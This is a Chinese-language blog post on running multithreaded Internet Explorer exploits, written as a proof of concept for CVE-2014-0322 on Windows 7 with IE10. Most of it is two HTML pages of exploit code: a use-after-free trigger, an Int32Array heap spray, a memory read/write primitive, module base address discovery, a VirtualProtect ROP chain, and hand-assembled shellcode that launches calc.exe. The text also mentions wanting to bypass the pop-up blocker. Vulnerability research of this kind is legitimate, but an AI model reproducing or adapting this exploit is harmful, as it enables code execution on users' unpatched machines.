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IE exp中的多线程操作

最近在写cve-2014-0321这个漏洞的poc，分析的时候发现这流程简直就是个坑（越写越坑！！），没办法只能照着古河的思路，利用多线程进行操作。虽然知道多线程操作用window.open去创建，但调用了之后发现一直创建的都是个进程，根本就没有线程啊，简直就是个坑啊。后来无数次的尝试之后才发现，之前一直本地进行IE漏洞的调试，这样子使用window.open打开的总是一个进程，这样子也就没办法实现利用或者是占位。之后，用python架了简易的web服务，web的方式来访问，才发现window.open虽然创建了一个新的tab，但并没有创建一个新的进程，而是在原有的进程中创建了一个线程进行操作。如下还是以cve-2014-0322写的exp（cve-2014-0321的等稳定之后再分析），测试环境仍然是win7+IE10，其主要思想是主线程负责漏洞触发，子线程负责漏洞的利用等相关操作。

open.html

<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) {
    var d = Number(dword).toString(16);
    while (d.length < 8)
        d = '0' + d;
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

var g_arr = [];
var arrLen = 0x50;

function fun()
{
    var a=0;
    // to alloc the memory
    for(a=0;a<arrLen;++a)
    {
        g_arr[a]=document.createElement('div')
    };

    var b = dword2data(0x41414141);
    var c = 0x0a0bf120;
    while(b.length<0x360) 
    {
        if(b.length==(0x94/2)) b+=dword2data(c+0x20-0xc);
        else if(b.length==(0x98/2)) b+=dword2data(c+0x20-0x8);
        else if(b.length==(0xac/2)) b+=dword2data(0x0a0b001b-0x10);
        else if(b.length==(0x15c/2)) b+=dword2data(0x42424242);
        else b += dword2data(0x41414141);    
    }
    var d=b.substring(0,(0x340-2)/2);
    try{
        this.outerHTML=this.outerHTML
    } catch(e){}
    CollectGarbage();
    //to reuse the freed memory
    for(a=0;a<arrLen;++a)
    {
        g_arr[a].title=d.substring(0,d.length);
    }
}
function puIHa3() {
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = fun ;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);//
}

window.open('opensrc.html');
setTimeout('puIHa3()',400);

</script>

</head>
</html>

open.html

<html>
<body>
<script>
var x = new Array();
var xx = new Array();
function LargBlock() {
    for (var k=0;k<0x150;k++)
    {
        if(k<0x30) xx[k] = new ArrayBuffer();
        else if(k<0x40) xx[k] = new ArrayBuffer(0x1ff8);
        else xx[k] = new ArrayBuffer();
    }
}

function spray() {
    for (var k=0;k<0x800;k++)
    {
        x[k] = new Array(0x3bf8);
        for (var i = 0; i< 0x55;i++)
        {
            x[k][i] = new Int32Array(xx[20]);
        }
        for(;i<0x3bf8;i++)
        {
            x[k][i] = i;
        }
    }
}

function findArray(size) {
    for (var k=0;k<0x800;k++)
    {
        for (var i = 0; i< 0x55;i++)
        {
            if(x[k][i].length != 0)
            {            
                //alert(x[k][i].length.toString(16));
                return [k,i];
            }
        }
    }
    return [-1,-1];
}

function dll_baseaddress(address,index) {
    var pp = address & 0xffff0000;
    var count=0;
    while(1)
    {        
        if(x[index[0]][index[1]][pp/0x4] == 0x00905a4d) 
        {
            return pp;
        }
        else pp=pp-0x10000;
        count++;
        if(count==50) return -1;
    }
}

function module_baseaddress(other_baseaddress,index,name) {
    var e_lfanew = x[index[0]][index[1]][(other_baseaddress+0x3c)/4];
    var image_file_header = other_baseaddress+e_lfanew;
    var image_data_directorys = image_file_header+0x78;
    var import_table_address = other_baseaddress+x[index[0]][index[1]][image_data_directorys/4+2];
    var import_table_size = x[index[0]][index[1]][image_data_directorys/4+3];

    for(var k=0;k<import_table_size/0x14;k++)
    {
        var import_dll_address = import_table_address + k*0x14;
        var dll_name_address = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+3];

        if(x[index[0]][index[1]][dll_name_address/4]==name[0] && 
            x[index[0]][index[1]][dll_name_address/4+1]==name[1])
        {
            var first_thunk = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+4];
            var function1 = x[index[0]][index[1]][first_thunk/4];
            return dll_baseaddress(function1,index);
        }
    }
    return -1;
}


function judge(test,index) {
    if(x[index[0]][index[1]][test/4]==x[index[0]][index[1]][test/4+8])
    {
        return 1;
    }
    else 
    {
        return -1;
    }
}


LargBlock();
spray();

//window.open('test3.html');

setTimeout('exp()',600);
function exp() {
    var  flag = 1;
    for (var k=0;k<0x800;k++) {
        x[k][15358] = 0x20000000;
    }
    //while(flag) {
        var info = findArray(0x20000000);
        //alert(info[0]);
        if(info[0]!=-1) {
            flag = 0;
            x[info[0]][info[1]][0x0a0bf018/4] = 0x20000000;
            
            var pvftable_int32array = x[info[0]][info[1]][0x0a0bf000/4];
            
            var jscript9_base_address=dll_baseaddress(pvftable_int32array,info);
            
            var kernel32_base_address=module_baseaddress(jscript9_base_address,info,[0x4e52454b,0x32334c45]);
            
            var msvcrt_base_address = module_baseaddress(jscript9_base_address,info,[0x6376736d,0x642e7472]);
            
            var ntdll_base_address = module_baseaddress(kernel32_base_address,info,[0x6c64746e,0x6c642e6c]);
            var xx_2 = x[info[0]][info[1]][0x0a0bf020/4];
            
            //for test
            if(judge(xx_2,info)) {
                
                //x[info[0]][info[1]][0x0a0bf030/4] = 0;
                //x[info[0]][info[1]][0x0a0bf048/4] = 0x100;
                //x[info[0]][info[1]+1][0] = 0;
                //alert('1');
                var xx_3 = x[info[0]][info[1]][xx_2/4+0xc];
                var xx_4 = x[info[0]][info[1]][xx_2/4+0x2c];
                
                //for(var k=info[1]+1;k<0x55;k++)
                //{
                //    delete x[info[0]][k];
                //}
                //CollectGarbage();
                //for(var k=info[1]+1;k<0x55;k++)
                //{
                //    x[info[0]][k] = new Int32Array(xx[1]);
                //}
                
                delete x[info[0]][info[1]+1];
                CollectGarbage();
                x[info[0]][info[1]+1] = new Int32Array(xx[50]);
                delete x[info[0]][info[1]+2];
                CollectGarbage();
                x[info[0]][info[1]+2] = new Int32Array(xx[55]);
                //alert(x[info[0]][info[1]][0x0a0bf04c/4].toString(16));
                //for(var k=0;k<0x150/4;k++)
                //{
                    //x[info[0]][info[1]+1][k] = jscript9_base_address+0x0003845e;
                //}
                
                var addr1 = x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 1];
                var addr2 = x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 2];
                //alert(addr1.toString(16));
                //alert(addr2.toString(16));
                
                x[info[0]][info[1]+1][0x140/4] = jscript9_base_address+0x0003845e;  //xchg eax,esp#retn
                x[info[0]][info[1]+1][0] = kernel32_base_address+0x000020d8; //VirtualProtect
                x[info[0]][info[1]+1][1] = x[info[0]][info[1]][(addr2+0x1c)/4];
                x[info[0]][info[1]+1][2] = x[info[0]][info[1]][(addr2+0x1c)/4]&0xffff000; //Address
                //alert(x[info[0]][info[1]+1][1].toString(16));
                x[info[0]][info[1]+1][3] = 0x1000; //size
                x[info[0]][info[1]+1][4] = 0x40; //newprotect:page_execute_readwrite
                x[info[0]][info[1]+1][5] = 0x0a0bf038; //oldprotect
                x[info[0]][info[1]+1][6] = x[info[0]][info[1]][(addr1+0x1c)/4]+0x40;
                x[info[0]][info[1]+1][7] = 5; //ret address
                //
                //xB8xADx23x86x7C
                //[info[0]][info[1]][0x0a0bf04c/4]+0x40;
            
                //calc.exe
                x[info[0]][info[1]+1][16] = 0x636c6163;
                x[info[0]][info[1]+1][17] = 0x6578652e;
                
                var HeapDataAddress = x[info[0]][info[1]][(addr1+0x1c)/4];
                var HeapEntry1 = x[info[0]][info[1]][HeapDataAddress/4-2];
                var HeapEntry2 = x[info[0]][info[1]][HeapDataAddress/4-1];
                
                x[info[0]][info[1]+1][32] = HeapEntry1;
                x[info[0]][info[1]+1][33] = HeapEntry2;
                
                //shellcode
                //B8 78563412                    mov eax,0x12345678
                //FFD0                           call eax
                //8BE5                           mov esp,ebp
                //83EC 78                        sub esp,0x78
                //B8 78563412                    mov eax,0x12345678
                //BB 30F00B0A                    mov ebx,0xA0BF030
                //B9 30F00B0A                    mov ecx,0xA0BF030
                //C705 30F00B0A 78563412         mov dword ptr ds:[0xA0BF030],0x12345678
                //C705 18F00B0A 00000000         mov dword ptr ds:[0xA0BF018],0x0
                //C705 78563412 78563412         mov dword ptr ds:[0x12345678],0x12345678
                //C705 78563412 78563412         mov dword ptr ds:[0x12345678],0x12345678
                //FFE0                           jmp eax
                x[info[0]][info[1]+2][0] = ((kernel32_base_address+0x8edae)<<8) + 0xB8;
                x[info[0]][info[1]+2][1] = (kernel32_base_address>>24)+0x8bD0ff00;
                x[info[0]][info[1]+2][2] = 0x78EC83e5;
                x[info[0]][info[1]+2][3] = 0xb8 + (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] << 8);
                x[info[0]][info[1]+2][4] = (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] >> 24) + 0xbb00+(addr1<<16);
                x[info[0]][info[1]+2][5] = 0x00b90000+(addr1>>16)+(addr1<<24);
                x[info[0]][info[1]+2][6] = 0xc7000000+(addr1>>8);
                x[info[0]][info[1]+2][7] = 0x00000005+(addr1<<8);
                x[info[0]][info[1]+2][8] = (addr1>>24) + (pvftable_int32array << 8);
                x[info[0]][info[1]+2][9] = (pvftable_int32array >> 24) + 0x1805c700;
                x[info[0]][info[1]+2][10] = 0x0a0bf0;
                x[info[0]][info[1]+2][11] = 0xc7000000;
                x[info[0]][info[1]+2][12] = 0x05 + ((HeapDataAddress-0x8)<<8);
                x[info[0]][info[1]+2][13] = ((HeapDataAddress-0x8)>>24) + (HeapEntry1 << 8);
                x[info[0]][info[1]+2][14] = (HeapEntry1>>24) + 0x05c700 + ((HeapDataAddress-0x4)<<24);
                x[info[0]][info[1]+2][15] = ((HeapDataAddress-0x4)>>8) + (HeapEntry2 << 24);
                x[info[0]][info[1]+2][16] = (HeapEntry2 >> 8) + 0xff000000;
                x[info[0]][info[1]+2][17] = 0xe0;
            
                
                
                x[info[0]][info[1]][addr1/4] = x[info[0]][info[1]][(addr1+0x1c)/4];
                //alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16));
                x[info[0]][info[1]+1][0] = 0;
                //alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16));
                
                //delete x[info[0]][info[1]+1];
                //delete x[info[0]][info[1]+2];
                //CollectGarbage();
            }
        }
    //}
}

</script>

</body>
</html>

利用这种方式进行操作，有一个致命的缺点，就是会弹出一个pop-up blocker信息框，这样需要用户点击才能够运行。测试的时候，可以把pop-up blocker关闭进行测试。对于如何绕过pop-up blocker验证机制，还有待进一步研究。

另外，多线程操作也可以使用iframe或者worker来进行，但在使用的过程中发现有些漏洞在iframe中并不能够触发，这应该和程序的处理流程或者渲染过程有关系，不过多线程的操作只是一种思想，正如Array Heap Spraying一样，不在于方法是怎样的，而在于你如何去利用它。更关键的在于怎样去控制程序的流程，能够走向你所能控制的方向。同时，对于一个漏洞而言，你如何将其与手中的方法相结合也是关键，总之漏洞挖掘、漏洞分析和漏洞利用都是一脉相承的，熟悉一招半式是不能够乘风破浪的，要想手到擒来，还需多加练习啊。

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原文地址：https://www.cnblogs.com/wal613/p/3969296.html